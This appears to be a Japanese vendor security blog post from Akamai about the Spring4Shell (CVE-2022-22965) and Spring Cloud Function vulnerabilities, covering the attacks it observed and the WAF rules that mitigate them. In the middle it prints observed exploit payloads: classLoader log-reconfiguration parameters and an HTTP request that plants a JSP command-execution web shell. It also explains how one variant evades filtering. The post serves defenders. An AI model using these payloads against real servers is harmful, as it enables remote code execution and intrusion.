Spring Core のゼロデイ脆弱性「Spring4Shell」を緩和
概要
2022 年 3 月 30 日、広く使用されているオープンソースの Java フレームワークである Spring に関連する脆弱性がセキュリティコミュニティーの間で大きな注目を集めました。Akamai は、Adaptive Security Engine により、この脆弱性に対するゼロデイ攻撃を検知し、Akamai のお客様を保護することができました(詳細については下記を参照してください)。
脆弱性の開示スケジュールや非公式の情報により、混乱が生じてしまい、正確な情報が伝わらなかったため、お客様や関係者の皆様に最新の状況をお伝えします。
Spring 製品には、2 つの脆弱性がありました。
1 つは、CVE-2022-22963 です。これは、Spring Cloud Function(オープンソースのサーバーレステクノロジー)の脆弱性であり、悪用方法が一般に公開され、3 月 24 日にパッチが適用されました(注:この脆弱性については、個別のブログを用意しました)。
もう 1 つが、CVE-2022-22965 です。これは、Spring Core の脆弱性であり、「Spring4Shell」と呼ばれています。Spring Core の脆弱性のほうが影響が大きいと考えられています。こちらの脆弱性はコアライブラリに影響を与える(つまり、すべての Spring プロジェクトに影響を与える可能性がある)ためです。ただし、この脆弱性の悪用可能性については、 さまざまな議論 があります。この脆弱性を悪用するためには特別な設定が必要であり、その設定の危険性については Spring 開発者もはっきりと警告していたためです。この脆弱性について、詳しく説明します。
Akamai では、Spring Core の脆弱性(以下「Spring4Shell」)が悪用可能になったその日(3 月 30 日)から、攻撃を検知しています。
初期の攻撃
攻撃者による最初の試みは、Web シェル(Web ベースで遠隔から操作するためのバックドアファイル)を展開しようとするものでした。攻撃者は、この Web シェルにアクセスすることで、サーバー上で任意のコマンドを実行し、さまざまなマルウェアに感染させたり、標的ネットワーク内で感染を広げていくことができます。
その他の試みとしては、企業がこの脆弱性に対して自社をテストするために行った攻撃がありました。
Akamai が検知した攻撃ペイロードの例をいくつか紹介します。
複数のエクスプロイトバリアント
Spring Core の脆弱性を悪用する方法は複数ありますが、いずれの方法においても、エクスプロイトリクエストによってログパラメーターが再設定されます。これにより、攻撃者は、Web シェルのページ名、ファイル拡張子、および書き込み先のディレクトリを設定します。
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
class...first.pattern パラメーターの url デコードされたファイルのコンテンツが %{f}i である点に注意してください。
一方、(%{} によって)評価される f の値は、f という名前の HTTP ヘッダーから取得されます。
GET /aaa HTTP/1.1
Host: 127.0.0.1:8080
User-Agent:Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Spring 開発者がこの脆弱性に関する正式な発表を行う前に、ある研究者が最初の概念実証エクスプロイトを公開しました。これが混乱の始まりでした。その研究者は概念実証エクスプロイトをすぐに取り下げました。しかし、すでに流出しており、vx-underground(セキュリティ研究者コミュニティー)ポータルでもアクセスできる状態でした。
その後、このエクスプロイトが再び出現しました。当初は 1 つのバリアントでしたが、よりコンパクトなバージョンへと変更されました。各バリアントの主な違いは、脆弱なパラメーターを設定するために、POST パラメーターを使用するか、クエリー文字列の GET リクエストを使用するかです。2 つ目の変更は、サーバーに送信するリクエスト数を 1 つに減らすことでした。
このエクスプロイトの第 2 バージョンは、WAF や入力フィルタリングを回避できる可能性もあります。WAF や入力フィルタリングなどのセキュリティ制御機能によって通常は検知される、機微なコードパターン(<%、%>、Runtime.getRuntime() など)が難読化されるためです。アップロードされた Web シェルのファイルにはプレースホルダーが含まれており、このプレースホルダーが Spring によって対応するヘッダー値に置き換えられます。
したがって、class...first.pattern のコンテンツ内の %{suffix}i は、%>//(拡張子となる HTTP ヘッダー値)に置き換えられます。
Akamai Adaptive Security Engine による緩和
Akamai Kona Site Defender を使用するすべてのお客様は保護されます。Akamai Adaptive Security Engine は、既存のコマンド・インジェクション・ルールを使用して、Spring Core のゼロデイ脆弱性を検知することができました。
3000023 - Apache Struts ClassLoader 操作のリモートコード実行
この脆弱性を緩和するその他の Kona Site Defender ルールセット:
Automated Attack Group:
1000005 - コマンドインジェクション
Kona ルールセット:
3000023 - Apache Struts ClassLoader 操作のリモートコード実行
サマリー
Spring Core の「Spring4Shell」脆弱性は容易に悪用可能なため、多くの組織が影響を受ける可能性があります。また、今後数年にわたって、攻撃者がこの脆弱性を利用して、クリプトマイニング、DDoS、ランサムウェアなどのキャンペーンを展開したり、組織に侵入するためのゴールデンチケットとして利用したりすることが予想されます。しかし、Akamai のお客様は、Adaptive Security Engine と Kona Site Defender のルールセットによって保護されます。
Akamai の脅威リサーチチームは、この脆弱性の悪用を監視しており、新しいバリアントが出現すれば保護を更新します。